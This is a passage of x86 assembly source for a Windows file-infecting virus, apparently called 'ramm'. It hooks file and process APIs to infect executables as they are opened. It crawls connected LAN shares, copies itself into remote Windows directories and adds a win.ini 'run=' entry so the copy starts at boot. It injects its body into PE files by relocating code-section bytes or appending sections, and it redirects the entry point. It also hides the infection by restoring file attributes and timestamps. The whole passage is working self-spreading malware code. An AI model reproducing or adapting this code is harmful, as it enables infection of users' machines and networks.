popa ;
|
||
ENDIF ;
|
||
;
|
||
good_to_infect: ;
|
||
mov esi, [esp+2ch] ;
|
||
push esi ;
|
||
call ValidateFile ;first validate the file
|
||
pop edi ;
|
||
jc no_good_file ;
|
||
;
|
||
@003: cmp [ebp+free_routine], NOT_AVAILABLE ;
|
||
je @003 ;
|
||
mov [ebp+free_routine], NOT_AVAILABLE ;
|
||
call InfectFile ;
|
||
mov [ebp+free_routine], AVAILABLE ;
|
||
;
|
||
no_good_file: ;
|
||
popfd ;
|
||
popa ;
|
||
ret ;
|
||
Hooker endp ;
|
||
;
|
||
ExitProcessHooker proc ;
|
||
pusha ;
|
||
call ExitHookerEbp ;
|
||
ExitHookerEbp: ;
|
||
pop ebp ;
|
||
sub ebp, offset ExitHookerEbp ;
|
||
;
|
||
mov [ebp+process_end], 1 ;
|
||
@fo: cmp [ebp+fileopen], TRUE ;we cannot allow shutdown
|
||
je @fo ;while our thread has a
|
||
popa ;file opened...
|
||
ret ;
|
||
ExitProcessHooker endp ;
|
||
;
|
||
CreateFileHooker proc ;
|
||
pusha ;
|
||
pushfd ;
|
||
call CreateFileEbp ;
|
||
CreateFileEbp: ;
|
||
pop ebp ;
|
||
sub ebp, offset CreateFileEbp ;
|
||
mov eax, [esp+2ch+4+4+4+4] ;
|
||
cmp eax, OPEN_EXISTING ;
|
||
je good_to_infect ;
|
||
;
|
||
popfd ;
|
||
popa ;
|
||
ret ;
|
||
CreateFileHooker endp ;
|
||
;
|
||
HookedFunctions: ;
|
||
crc32 <CopyFileA> ;
|
||
dd offset Hook_CopyFileA ;
|
||
crc32 <CopyFileExA> ;
|
||
dd offset Hook_CopyFileExA ;
|
||
crc32 <CreateFileA> ;
|
||
dd offset Hook_CreateFileA ;
|
||
crc32 <GetCompressedFileSizeA> ;
|
||
dd offset Hook_GetCompressedFileSizeA ;
|
||
crc32 <GetFileAttributesA> ;
|
||
dd offset Hook_GetFileAttributesA ;
|
||
crc32 <GetFileAttributesExA> ;
|
||
dd offset Hook_GetFileAttributesExA ;
|
||
crc32 <SetFileAttributesA> ;
|
||
dd offset Hook_SetFileAttributesA ;
|
||
crc32 <GetFullPathNameA> ;
|
||
dd offset Hook_GetFullPathNameA ;
|
||
crc32 <MoveFileA> ;
|
||
dd offset Hook_MoveFileA ;
|
||
crc32 <MoveFileExA> ;
|
||
dd offset Hook_MoveFileExA ;
|
||
crc32 <OpenFile> ;
|
||
dd offset Hook_OpenFile ;
|
||
crc32 <CreateProcessA> ;
|
||
dd offset Hook_CreateProcessA ;
|
||
crc32 <WinExec> ;
|
||
dd offset Hook_WinExec ;
|
||
crc32 <XDestroyWindow> ;
|
||
dd offset Hook_DestroyWindow ;
|
||
crc32 <ExitProcess> ;
|
||
dd offset Hook_ExitProcess ;
|
||
functions_nr = ($-offset HookedFunctions)/8 ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;Û This Thread is the Network Infector
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Thread_6_StartAddress proc PASCAL tdelta: dword ;
|
||
call @Thread6Delta ;
|
||
@Thread6Delta: ;
|
||
pop ebp ;
|
||
sub ebp, offset @Thread6Delta ;
|
||
;
|
||
IF NETWORKINFECTION ;
|
||
cmp [ebp+netapis], FALSE ;
|
||
je exit_netcrawl ;
|
||
;
|
||
IF THREAD6SEH ;
|
||
lea eax, [ebp+Thread6Exception] ; Setup a SEH frame
|
||
push eax ;
|
||
push dword ptr fs:[0] ;
|
||
mov fs:[0], esp ;
|
||
ENDIF ;
|
||
;
|
||
call NetInfection C, 0 ;
|
||
jmp done_net ;
|
||
;
|
||
NetInfection proc C lpnr:DWORD ;
|
||
;
|
||
local lpnrLocal :DWORD ;
|
||
local hEnum :DWORD ;
|
||
local ceEntries :DWORD ;
|
||
local cbBuffer :DWORD ;
|
||
;
|
||
pusha ;
|
||
call get_new_delta ;
|
||
get_new_delta: ;
|
||
pop edx ;
|
||
sub edx, offset get_new_delta ;
|
||
;
|
||
mov [ceEntries], 0FFFFFFFFh ;as many entries as poss.
|
||
mov [cbBuffer], 4000 ;memory buffer size
|
||
lea eax, [hEnum] ;handle to enumeration
|
||
mov esi, [lpnr] ;parameter
|
||
call [edx+_WNetOpenEnumA], RESOURCE_CONNECTED,\ ;open the enumeration
|
||
RESOURCETYPE_ANY, 0,\ ;
|
||
esi, eax ;
|
||
;
|
||
or eax, eax ;failed?
|
||
jnz exit_net ;
|
||
;
|
||
call [edx+_GlobalAlloc], GPTR, cbBuffer ;allocate memory
|
||
or eax, eax ;
|
||
jz exit_net ;
|
||
mov [lpnrLocal], eax ;save memory handle
|
||
;
|
||
enumerate: ;
|
||
lea eax, cbBuffer ;enumerate all the
|
||
push eax ;resources
|
||
mov esi, [lpnrLocal] ;
|
||
push esi ;
|
||
lea eax, ceEntries ;
|
||
push eax ;
|
||
push hEnum ;
|
||
call [edx+_WNetEnumResourceA] ;
|
||
;
|
||
or eax, eax ;failed?
|
||
jnz free_mem ;
|
||
;
|
||
mov ecx, [ceEntries] ;how many entries?
|
||
or ecx, ecx ;
|
||
jz enumerate ;
|
||
;
|
||
roam_net: ;
|
||
push ecx esi ;
|
||
;
|
||
mov eax, [esi.dwType] ;is it a disk resource?
|
||
test eax, RESOURCETYPE_DISK ;
|
||
jz get_next_entry ;
|
||
;
|
||
mov edi, [esi.lpRemoteName] ;get remote name
|
||
mov esi, [esi.lpLocalName] ;get local name
|
||
or esi, esi ;empty?
|
||
jz no_good_name ;
|
||
;
|
||
cmp word ptr [esi],0041 ;is it a floppy disk?
|
||
jz no_good_name ;
|
||
;
|
||
call RemoteInfection ;try to infect it!
|
||
;
|
||
no_good_name: ;
|
||
pop esi ;
|
||
;
|
||
mov eax, [esi.dwUsage] ;do we have a container?
|
||
test eax, RESOURCEUSAGE_CONTAINER ;
|
||
jz get_next_entry ;
|
||
;
|
||
push esi ;
|
||
call NetInfection ;recurse!!
|
||
;
|
||
get_next_entry: ;
|
||
add esi, 20h ;next resource!
|
||
pop ecx ;
|
||
loop roam_net ;
|
||
;
|
||
jmp enumerate ;and next enumeration...
|
||
;
|
||
free_mem: ;
|
||
call [edx+_GlobalFree], [lpnrLocal] ;free the memory
|
||
;
|
||
call [edx+_WNetCloseEnum], [hEnum] ;and close enumeration.
|
||
;
|
||
exit_net: ;
|
||
popa ;
|
||
ret ;
|
||
NetInfection endp ;
|
||
;
|
||
RemoteInfection proc ;
|
||
pusha ;
|
||
call @___1 ;restore the delta handle
|
||
@___1: ;
|
||
pop ebp ;
|
||
sub ebp, offset @___1 ;
|
||
;
|
||
push 260 ;get the current file
|
||
lea eax, [ebp+myname] ;name
|
||
push eax ;
|
||
push 0 ;
|
||
call [ebp+_GetModuleFileNameA] ;
|
||
or eax, eax ;
|
||
jz cannot_roam ;
|
||
;
|
||
lea esi, [ebp+windirs] ;point windows dir names
|
||
;
|
||
test_paths: ;
|
||
lea ebx, [ebp+droppername] ;copy path for dropper
|
||
call [ebp+_lstrcpy], ebx, edi ;
|
||
lea ebx, [ebp+winininame] ;copy path for win.ini
|
||
call [ebp+_lstrcpy], ebx, edi ;
|
||
;
|
||
lea ebx, [ebp+droppername] ;copy windows dir
|
||
call [ebp+_lstrcat], ebx, esi ;
|
||
lea eax, [ebp+drop] ;and dropper name
|
||
call [ebp+_lstrcat], ebx, eax ;
|
||
;
|
||
push TRUE ;now copy ourself over
|
||
push ebx ;the LAN under the new
|
||
lea eax, [ebp+myname] ;name into the remote
|
||
push eax ;windows directory
|
||
call [ebp+_CopyFileA] ;
|
||
or eax, eax ;
|
||
jz test_next ;
|
||
;
|
||
lea ebx, [ebp+winininame] ;copy the windows dir name
|
||
call [ebp+_lstrcat], ebx, esi ;to the win.ini path
|
||
lea eax, [ebp+winini] ;
|
||
call [ebp+_lstrcat], ebx, eax ;and it's name
|
||
;
|
||
lea eax, [ebp+winininame] ;Now create this entry
|
||
push eax ;into the win.ini file:
|
||
lea eax, [ebp+droppername] ;
|
||
push eax ;[Windows]
|
||
lea eax, [ebp+cmd] ;run=c:\windows\ramm.exe
|
||
push eax ;
|
||
inc esi ;
|
||
push esi ;
|
||
call [ebp+_WritePrivateProfileStringA] ;
|
||
jmp cannot_roam ;
|
||
;
|
||
test_next: ;
|
||
@endsz ;go and try the next
|
||
cmp byte ptr [esi], 0fh ;windows path!
|
||
jne test_paths ;
|
||
;
|
||
cannot_roam: ;
|
||
popa ;
|
||
ret ;
|
||
;
|
||
smash_dropper proc ;this procedure acts like
|
||
pusha ;this:
|
||
push 260 ;if the file ramm.exe
|
||
call ramm_name ;exists in the windows dir
|
||
r_n: db 260 dup(0) ;and there is no entry
|
||
ramm_name: ;to run it at next boot
|
||
call [ebp+_GetWindowsDirectoryA] ;in the win.ini file, then
|
||
;it will erase the file.
|
||
lea edx, [ebp+r_n] ;if the file ramm.exe
|
||
push edx ;does not exist, but there
|
||
call [ebp+_lstrlen] ;is an entry in the win
|
||
mov edi, eax ;ini file, then it will
|
||
;remove the entry.
|
||
lea eax, [ebp+drop] ;If both are present
|
||
push eax ;they are left alone.
|
||
lea edx, [ebp+r_n] ;
|
||
push edx ;
|
||
call [ebp+_lstrcat] ;
|
||
;
|
||
lea eax, [ebp+W32FD] ;locate ramm.exe
|
||
push eax ;
|
||
push edx ;
|
||
call [ebp+_FindFirstFileA] ;
|
||
mov [ebp+ok], 0 ;
|
||
cmp eax, INVALID_HANDLE_VALUE ;
|
||
je no_file ;
|
||
mov [ebp+ok], 1 ;
|
||
;
|
||
no_file: ;
|
||
lea edx, [ebp+r_n] ;save name
|
||
lea eax, [ebp+droppername] ;
|
||
push edx ;
|
||
push eax ;
|
||
call [ebp+_lstrcpy] ;
|
||
;
|
||
mov byte ptr [edx+edi], 0 ;
|
||
lea eax, [ebp+winini] ;
|
||
push eax ;
|
||
push edx ;
|
||
call [ebp+_lstrcat] ;
|
||
;open win.ini
|
||
push 0 ;
|
||
push 0 ;
|
||
push OPEN_EXISTING ;
|
||
push 0 ;
|
||
push 0 ;
|
||
push GENERIC_READ + GENERIC_WRITE ;
|
||
push edx ;
|
||
call [ebp+_CreateFileA] ;
|
||
inc eax ;
|
||
jz no_need ;
|
||
dec eax ;
|
||
mov [ebp+hfile], eax ;
|
||
;
|
||
push 0 ;
|
||
push eax ;
|
||
call [ebp+_GetFileSize] ;
|
||
mov [ebp+filesize], eax ;
|
||
;
|
||
push 0 ;
|
||
push [ebp+filesize] ;
|
||
push 0 ;
|
||
push PAGE_READWRITE ;
|
||
push 0 ;
|
||
push [ebp+hfile] ;
|
||
call [ebp+_CreateFileMappingA] ;
|
||
;
|
||
or eax, eax ;
|
||
jz no_need_1 ;
|
||
mov [ebp+hmap], eax ;
|
||
;
|
||
push [ebp+filesize] ;
|
||
push 0 ;
|
||
push 0 ;
|
||
push FILE_MAP_ALL_ACCESS ;
|
||
push [ebp+hmap] ;
|
||
call [ebp+_MapViewOfFile] ;
|
||
;
|
||
or eax, eax ;
|
||
jz no_need_2 ;
|
||
mov [ebp+haddress], eax ;
|
||
;
|
||
mov ecx, [ebp+filesize] ;
|
||
sub ecx, 8 ;
|
||
;
|
||
src_loop: ;
|
||
cmp dword ptr [eax] , 'mmar' ;search "ramm.exe"
|
||
jne no_ramm ;
|
||
cmp dword ptr [eax+4], 'exe.' ;
|
||
je found_ramm ;
|
||
;
|
||
no_ramm: ;
|
||
inc eax ;
|
||
loop src_loop ;
|
||
;
|
||
lea eax, [ebp+droppername] ;
|
||
push eax ;
|
||
call [ebp+_DeleteFileA] ;
|
||
jmp kill_memo ;
|
||
;
|
||
found_ramm: ;
|
||
cmp [ebp+ok], 0 ;
|
||
jne kill_memo ;
|
||
;
|
||
mov edx, eax ;
|
||
add edx, 8 ;
|
||
;
|
||
rep_for_run: ;
|
||
cmp [eax], "=nur" ;search backwards for
|
||
je finished_searching ;"run="
|
||
dec eax ;
|
||
cmp eax, [ebp+haddress] ;
|
||
je kill_memo ;
|
||
jmp rep_for_run ;
|
||
;
|
||
finished_searching: ;
|
||
mov edi, eax ;put blanks over it!
|
||
mov al, " " ;
|
||
mov ecx, edx ;
|
||
sub ecx, edi ;
|
||
rep stosb ;
|
||
;
|
||
kill_memo: ;
|
||
push [ebp+haddress] ;close win.ini!
|
||
call [ebp+_UnmapViewOfFile] ;
|
||
;
|
||
no_need_2: ;
|
||
push [ebp+hmap] ;
|
||
call [ebp+_CloseHandle] ;
|
||
;
|
||
no_need_1: ;
|
||
push [ebp+hfile] ;
|
||
call [ebp+_CloseHandle] ;
|
||
;
|
||
no_need: ;
|
||
popa ;
|
||
ret ;
|
||
smash_dropper endp ;
|
||
;
|
||
windirs db "\Windows", 0 ;
|
||
db "\WinNT" , 0 ;
|
||
db "\Win" , 0 ;
|
||
db "\Win95" , 0 ;
|
||
db "\Win98" , 0 ;
|
||
db 0fh ;
|
||
;
|
||
winini db "\Win.ini" , 0 ;
|
||
drop db "\ramm.exe", 0 ;
|
||
cmd db "run" , 0 ;
|
||
;
|
||
myname db 260 dup(0) ;
|
||
droppername db 260 dup(0) ;
|
||
winininame db 260 dup(0) ;
|
||
RemoteInfection endp ;
|
||
;
|
||
done_net: ;
|
||
IF THREAD6SEH ;
|
||
jmp restore_thread6_seh ;host
|
||
;
|
||
Thread6Exception: ;if we had an error we
|
||
mov esp, [esp+8] ;must restore the ESP
|
||
call DeltaRecover6 ;
|
||
DeltaRecover6: ;
|
||
pop ebp ;
|
||
sub ebp, offset DeltaRecover6 ;
|
||
;
|
||
restore_thread6_seh: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;
|
||
ENDIF ;
|
||
;
|
||
ENDIF ;
|
||
;
|
||
exit_netcrawl: ;
|
||
push 0 ;
|
||
push 5 ;
|
||
push [ebp+hsemaphore] ;
|
||
call [ebp+_ReleaseSemaphore] ;
|
||
call [ebp+_ExitThread], 0 ;
|
||
Thread_6_StartAddress endp ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
OurThreads dd offset Thread_1_StartAddress ;
|
||
dd offset Thread_2_StartAddress ;
|
||
dd offset Thread_3_StartAddress ;
|
||
dd offset Thread_4_StartAddress ;
|
||
dd offset Thread_5_StartAddress ;
|
||
dd offset Thread_6_StartAddress ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
ReturnToHost: ;
|
||
jmp restore_seh ;host
|
||
;
|
||
ExceptionExit: ;if we had an error we
|
||
IF DEBUG ;
|
||
call MessageBoxA, 0, offset err, offset err, 0
|
||
jmp go_over ;
|
||
err db 'SEH Error!', 0 ;
|
||
go_over: ;
|
||
ELSE ;
|
||
ENDIF ;
|
||
mov esp, [esp+8] ;must restore the ESP
|
||
;
|
||
restore_seh: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;returning to the host...
|
||
;
|
||
db 0BDh ;restore delta handle
|
||
delta dd 0 ;
|
||
;
|
||
cmp [ebp+firstgen], 1 ;
|
||
je generation0_exit ;
|
||
;
|
||
IF APIHOOK ;if api hook is on we
|
||
apicheck: ;cannot return to host
|
||
cmp [ebp+apihookfinish], 1 ;until the hooking is
|
||
jne apicheck ;done...
|
||
ENDIF ;
|
||
;
|
||
mov eax, 12345678h ;mov eax, oledip
|
||
oldeip equ $-4 ;
|
||
add eax, 12345678h ;add eax, imagebase
|
||
adjust equ $-4 ;
|
||
mov dword ptr [ebp+savedeax], eax ;
|
||
popa ;
|
||
;
|
||
push 12345678h ;
|
||
savedeax equ $-4 ;
|
||
ret ;
|
||
;
|
||
generation0_exit: ;
|
||
push 0 ;
|
||
call [ebp+_ExitProcess] ;
|
||
;
|
||
InfectFile proc ;
|
||
pusha ;save regs
|
||
mov [ebp+flag], 1 ;mark success flag
|
||
mov [ebp+filename], edi ;save filename
|
||
mov esi, edi ;
|
||
call ValidateFile ;
|
||
jc failed_infection ;
|
||
;
|
||
call [ebp+_GetFileAttributesA], edi ;get attributes
|
||
mov [ebp+fileattributes], eax ;and save them
|
||
call [ebp+_SetFileAttributesA], edi, FILE_ATTRIBUTE_NORMAL; and set
|
||
;them normal
|
||
call [ebp+_CreateFileA], edi, GENERIC_READ+GENERIC_WRITE, 0, 0,\
|
||
OPEN_EXISTING, 0, 0 ;open file
|
||
cmp eax, INVALID_HANDLE_VALUE ;
|
||
je finished ;
|
||
mov [ebp+hfile], eax ;
|
||
;
|
||
mov [ebp+fileopen], TRUE ;
|
||
;
|
||
lea ebx, [ebp+filetime1] ;save file time
|
||
push ebx ;
|
||
add ebx, 8 ;
|
||
push ebx ;
|
||
add ebx, 8 ;
|
||
push ebx ;
|
||
call [ebp+_GetFileTime], eax ;
|
||
;
|
||
call [ebp+_GetFileSize], [ebp+hfile], 0 ;get file size
|
||
mov [ebp+filesize], eax ;
|
||
add eax, virussize + 1000h ;
|
||
mov [ebp+additional], eax ;save additional length
|
||
;
|
||
call [ebp+_CreateFileMappingA], [ebp+hfile], 0, PAGE_READWRITE,\
|
||
0, [ebp+additional], 0
|
||
or eax, eax ;create mapping object
|
||
je close_file ;
|
||
;
|
||
mov [ebp+hmap], eax ;
|
||
;
|
||
call [ebp+_MapViewOfFile], [ebp+hmap], FILE_MAP_ALL_ACCESS, 0, 0,\
|
||
[ebp+additional] ;map file!
|
||
or eax, eax ;
|
||
je close_map ;
|
||
;
|
||
mov [ebp+haddress], eax ;save address of mapping
|
||
mov esi, eax ;
|
||
;
|
||
mov ax, word ptr [esi] ;check exe sign
|
||
xor ax, 'Úß' ;
|
||
cmp ax, 'ZM' xor 'Úß' ;
|
||
jne close_address ;
|
||
;
|
||
call InitCopro ;check infection mark
|
||
fild word ptr [esi.MZ_oeminfo] ;this is number a
|
||
fild word ptr [esi.MZ_oeminfo] ;
|
||
fmul ;
|
||
call RestoreCopro ;
|
||
add esp, 4 ;
|
||
;
|
||
mov esi, [esi.MZ_lfanew] ;get pointer to pe header
|
||
cmp esi, 1000h ;
|
||
ja close_address ;
|
||
add esi, [ebp+haddress] ;
|
||
;
|
||
call [ebp+_IsBadReadPtr], esi, 1000h ;check readability
|
||
or eax, eax ;
|
||
jnz close_address ;
|
||
;
|
||
mov [ebp+peheader], esi ;save pe header
|
||
;
|
||
mov ax, word ptr [esi] ;check if pe file
|
||
xor ax, 'õð' ;
|
||
cmp ax, 'EP' xor 'õð' ;
|
||
jne close_address ;
|
||
;
|
||
test word ptr [esi.Characteristics], IMAGE_FILE_DLL; be sure it's not
|
||
jnz close_address ;a library
|
||
;
|
||
lea edi, [ebp+pedata] ;
|
||
xor eax, eax ;
|
||
mov ax, [esi.NumberOfSections] ;save number of sections
|
||
stosd ;
|
||
mov ax, [esi.SizeOfOptionalHeader] ;save optional header
|
||
stosd ;
|
||
add esi, IMAGE_FILE_HEADER_SIZE ;get to the optional head.
|
||
mov [ebp+optionalheader], esi ;
|
||
;
|
||
cmp word ptr [esi.OH_MajorImageVersion], 0 ;
|
||
je skip_check ;
|
||
cmp word ptr [esi.OH_MinorImageVersion], 0 ;
|
||
je skip_check ;
|
||
call InitCopro ;
|
||
fild word ptr [esi.OH_MajorImageVersion] ;this is number b
|
||
fild word ptr [esi.OH_MajorImageVersion] ;
|
||
fmul ;
|
||
fild word ptr [esi.OH_MinorImageVersion] ;this is number c
|
||
fild word ptr [esi.OH_MinorImageVersion] ;
|
||
fmul ;
|
||
fadd ;
|
||
fsub ;here is b^2+c^2-a^2
|
||
fldz ;is it 0?
|
||
fcompp ;compare them
|
||
fstsw ax ;get status word
|
||
call RestoreCopro ;
|
||
add esp, 4 ;
|
||
sahf ;load flags with it
|
||
jz close_address ;is it already infected?
|
||
;
|
||
skip_check: ;
|
||
cmp [esi.OH_Subsystem], IMAGE_SUBSYSTEM_NATIVE; check if it is not
|
||
je close_address ;a driver...
|
||
;
|
||
mov eax, [esi.OH_AddressOfEntryPoint] ;save entry eip
|
||
stosd ;
|
||
mov eax, [esi.OH_ImageBase] ;imagebase
|
||
stosd ;
|
||
mov eax, [esi.OH_SectionAlignment] ;section align
|
||
stosd ;
|
||
mov eax, [esi.OH_FileAlignment] ;file align
|
||
stosd ;
|
||
mov eax, [esi.OH_SizeOfImage] ;size of image
|
||
stosd ;
|
||
mov eax, [esi.OH_SizeOfHeaders] ;headers size
|
||
stosd ;
|
||
mov eax, [esi.OH_CheckSum] ;and checksum
|
||
stosd ;
|
||
mov eax, [esi.OH_NumberOfRvaAndSizes] ;save number of dirs..
|
||
stosd ;
|
||
mov eax, [esi.OH_BaseOfCode] ;and base of code
|
||
stosd ;
|
||
;
|
||
add esi, [ebp+sizeofoptionalheader] ;mov to first sec header
|
||
mov ecx, [ebp+numberofsections] ;
|
||
;
|
||
scan_for_code: ;
|
||
mov eax, [esi.SH_VirtualAddress] ;get the RVA
|
||
cmp eax, [ebp+baseofcode] ;is it the code section?
|
||
jae found_code_section ;
|
||
add esi, IMAGE_SIZEOF_SECTION_HEADER ;no... get next...
|
||
loop scan_for_code ;
|
||
jmp close_address ;
|
||
;
|
||
found_code_section: ;
|
||
mov [ebp+codesectionheader], esi ;save code section ptr
|
||
mov [ebp+codesectionrva], eax ;
|
||
mov ebx, [esi.SH_PointerToRawData] ;
|
||
mov [ebp+codesectionraw], ebx ;
|
||
mov ebx, [esi.SH_VirtualSize] ;
|
||
mov eax, [esi.SH_SizeOfRawData] ;
|
||
call choose_smaller ;
|
||
mov [ebp+codesectionsize], ebx ;
|
||
;
|
||
;
|
||
IF APIHOOK ;
|
||
pusha ;
|
||
mov esi, [ebp+optionalheader] ;
|
||
mov ecx, [ebp+numberofsections] ;
|
||
mov ebx, [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress]
|
||
or ebx, ebx ;
|
||
jz over_import ;
|
||
add esi, [ebp+sizeofoptionalheader] ;
|
||
;
|
||
scan_for_imports: ;
|
||
mov eax, [esi.SH_VirtualAddress] ;get the RVA
|
||
cmp eax, ebx ;is it the import section?
|
||
je found_import ;
|
||
jb maybe_found ;
|
||
jmp search_next_import ;
|
||
;
|
||
maybe_found: ;
|
||
add eax, [esi.SH_VirtualSize] ;
|
||
cmp eax, ebx ;
|
||
ja found_import ;
|
||
;
|
||
search_next_import: ;
|
||
add esi, IMAGE_SIZEOF_SECTION_HEADER ;no... get next...
|
||
loop scan_for_imports ;
|
||
jmp no_import_found ;
|
||
;
|
||
found_import: ;enable write on the
|
||
or [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE; imports, credits to
|
||
mov [ebp+no_imports], TRUE ;Bumblebee for this.
|
||
jmp over_import ;
|
||
;
|
||
no_import_found: ;
|
||
mov [ebp+no_imports], FALSE ;
|
||
;
|
||
over_import: ;
|
||
popa ;
|
||
ENDIF ;
|
||
call locate_last_section_stuff ;locate stuff in the last
|
||
;section
|
||
call add_new_section ;add a new section
|
||
jnc ok_go_with_it ;
|
||
;
|
||
call increase_last_section ;
|
||
mov edi, [ebp+finaldestination] ;
|
||
jmp do_virus_movement ;
|
||
;
|
||
ok_go_with_it: ;
|
||
mov eax, [esi.SH_SizeOfRawData] ;get the 2 sizes and be
|
||
cmp eax, virussize ;sure we are smaller then
|
||
jb set_method_1 ;both of them...
|
||
mov eax, [esi.SH_VirtualSize] ;
|
||
cmp eax, virussize ;
|
||
jb set_method_1 ;
|
||
;
|
||
size_is_ok: ;
|
||
cmp eax, virussize ;do we fit into the code
|
||
jb set_method_1 ;section?
|
||
;
|
||
mov [ebp+method], METHOD_MOVE_CODE ;if yes, move the code...
|
||
;
|
||
mov ecx, 5 ;
|
||
;
|
||
establish_home: ;
|
||
mov esi, [ebp+codesectionheader] ;
|
||
mov eax, [esi.SH_SizeOfRawData] ;
|
||
mov ebx, [esi.SH_VirtualSize] ;
|
||
call choose_smaller ;
|
||
mov ebx, [esi.SH_PointerToRawData] ;get pointer to data
|
||
mov [ebp+codesectionraw], ebx ;save it...
|
||
mov esi, ebx ;get a delta difference
|
||
IF RANDOMIZE_ENTRY ;
|
||
sub eax, virussize ;to place us in and
|
||
dec eax ;randomize it...
|
||
call brandom32 ;
|
||
ELSE ; ;
|
||
mov eax, 1 ;
|
||
ENDIF ;
|
||
mov [ebp+codedelta], eax ;from where we start?
|
||
;
|
||
call check_intersection ;are we intersecting with
|
||
jnc continue_process ;other directories?
|
||
loop establish_home ;if yes, try again!
|
||
;
|
||
jmp set_method_1 ;if cannot find place move
|
||
;at end!
|
||
;
|
||
continue_process: ;
|
||
add esi, eax ;
|
||
add esi, [ebp+haddress] ;
|
||
push esi ;
|
||
mov edi, [ebp+last_section_destination] ;save our destination...
|
||
add edi, [ebp+haddress] ;
|
||
call [ebp+_IsBadWritePtr], edi, virussize ;can we write?
|
||
or eax, eax ;
|
||
jnz close_address ;
|
||
call move_virus_size ;move the original code
|
||
pop edi ;from here...
|
||
mov [ebp+finaldestination], edi ;save the destination of
|
||
;code
|
||
do_virus_movement: ;
|
||
cmp [ebp+method], METHOD_INCREASE_LAST ;
|
||
jne not_increase_last ;
|
||
mov eax, [ebp+last_section_destination] ;
|
||
sub eax, [ebp+lastsectionraw] ;
|
||
add eax, [ebp+lastsectionrva] ;
|
||
jmp set_it ;
|
||
;
|
||
not_increase_last: ;
|
||
cmp [ebp+method], METHOD_APPEND_AT_END ;
|
||
jne not_at_end ;
|
||
mov eax, [ebp+lastsectionrva] ;
|
||
jmp set_it ;
|
||
;
|
||
not_at_end: ;
|
||
mov eax, [ebp+codesectionrva] ;
|
||
add eax, [ebp+codedelta] ;
|
||
;
|
||
set_it: ;
|
||
add eax, (ourpoint-start)-1 ;
|
||
mov dword ptr [ebp+ourpoint+1], eax ;for imagebase getter
|
||
;
|
||
mov eax, [ebp+last_section_destination] ;here is a raw ptr in the
|
||
sub eax, [ebp+lastsectionraw] ;last section. Substract
|
||
add eax, [ebp+lastsectionrva] ;raw pointer and add virt
|
||
mov dword ptr [ebp+codesource], eax ;pointer to get a RVA
|
||
mov eax, [ebp+finaldestination] ;same crap on destination
|
||
sub eax, [ebp+haddress] ;
|
||
sub eax, [ebp+codesectionraw] ;
|
||
add eax, [ebp+codesectionrva] ;
|
||
mov dword ptr [ebp+codedestin], eax ;
|
||
;
|
||
mov [ebp+copying], 1 ;syncronization
|
||
mov ecx, 100d ;
|
||
loop $ ;
|
||
;
|
||
lea esi, [ebp+start] ;move virus now in the
|
||
call move_virus_size ;code place...
|
||
mov [ebp+copying], 0 ;
|
||
;
|
||
mov eax, [ebp+addressofentrypoint] ;save old eip
|
||
mov edi, [ebp+finaldestination] ;
|
||
mov [edi+offset oldeip-offset start], eax ;
|
||
;
|
||
mov esi, [ebp+codesectionheader] ;
|
||
or [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE+IMAGE_SCN_MEM_READ
|
||
jmp continue ;make code writable
|
||
;
|
||
set_method_1: ;
|
||
mov [ebp+method], METHOD_APPEND_AT_END ;here we append the virus
|
||
;at the end...
|
||
mov edi, [ebp+last_section_destination] ;
|
||
add edi, [ebp+haddress] ;
|
||
mov [ebp+finaldestination], edi ;
|
||
call [ebp+_IsBadWritePtr], edi, virussize ;can we write?
|
||
or eax, eax ;
|
||
jnz close_address ;
|
||
jmp do_virus_movement ;
|
||
;
|
||
continue: ;
|
||
call check_not ;check lists
|
||
mov eax, [ebp+finaldestination] ;
|
||
add eax, (offset firstgen-offset start) ;zero the first gen mark
|
||
mov dword ptr [eax], 0 ;
|
||
;
|
||
mov esi, [ebp+optionalheader] ;now align size of image
|
||
mov eax, [ebp+sizeofimage] ;to the section alignment
|
||
add eax, [ebp+newsize] ;
|
||
cmp eax, [ebp+totalsizes] ;
|
||
jb sizeofimage_ok ;
|
||
;
|
||
call align_to_sectionalign ;
|
||
mov [esi.OH_SizeOfImage], eax ;
|
||
;
|
||
sizeofimage_ok: ;
|
||
mov eax, [ebp+filesize] ;align the filesize to
|
||
add eax, [ebp+newsize] ;the file alignment
|
||
call align_to_filealign ;
|
||
mov [ebp+filesize], eax ;
|
||
;
|
||
cmp [ebp+method], METHOD_APPEND_AT_END ;
|
||
je alternate ;
|
||
cmp [ebp+method], METHOD_INCREASE_LAST ;
|
||
je alternate2 ;
|
||
mov eax, [ebp+finaldestination] ;get our final destination
|
||
sub eax, [ebp+haddress] ;substract current map
|
||
sub eax, [ebp+codesectionraw] ;
|
||
add eax, [ebp+codesectionrva] ;
|
||
jmp set_eip ;
|
||
;
|
||
alternate2: ;
|
||
pusha ;
|
||
mov esi, [ebp+lastsectionheader] ;
|
||
mov eax, [esi.SH_VirtualSize] ;
|
||
xchg eax, [esi.SH_SizeOfRawData] ;
|
||
mov [esi.SH_VirtualSize], eax ;
|
||
popa ;
|
||
;
|
||
mov eax, [ebp+last_section_destination] ;
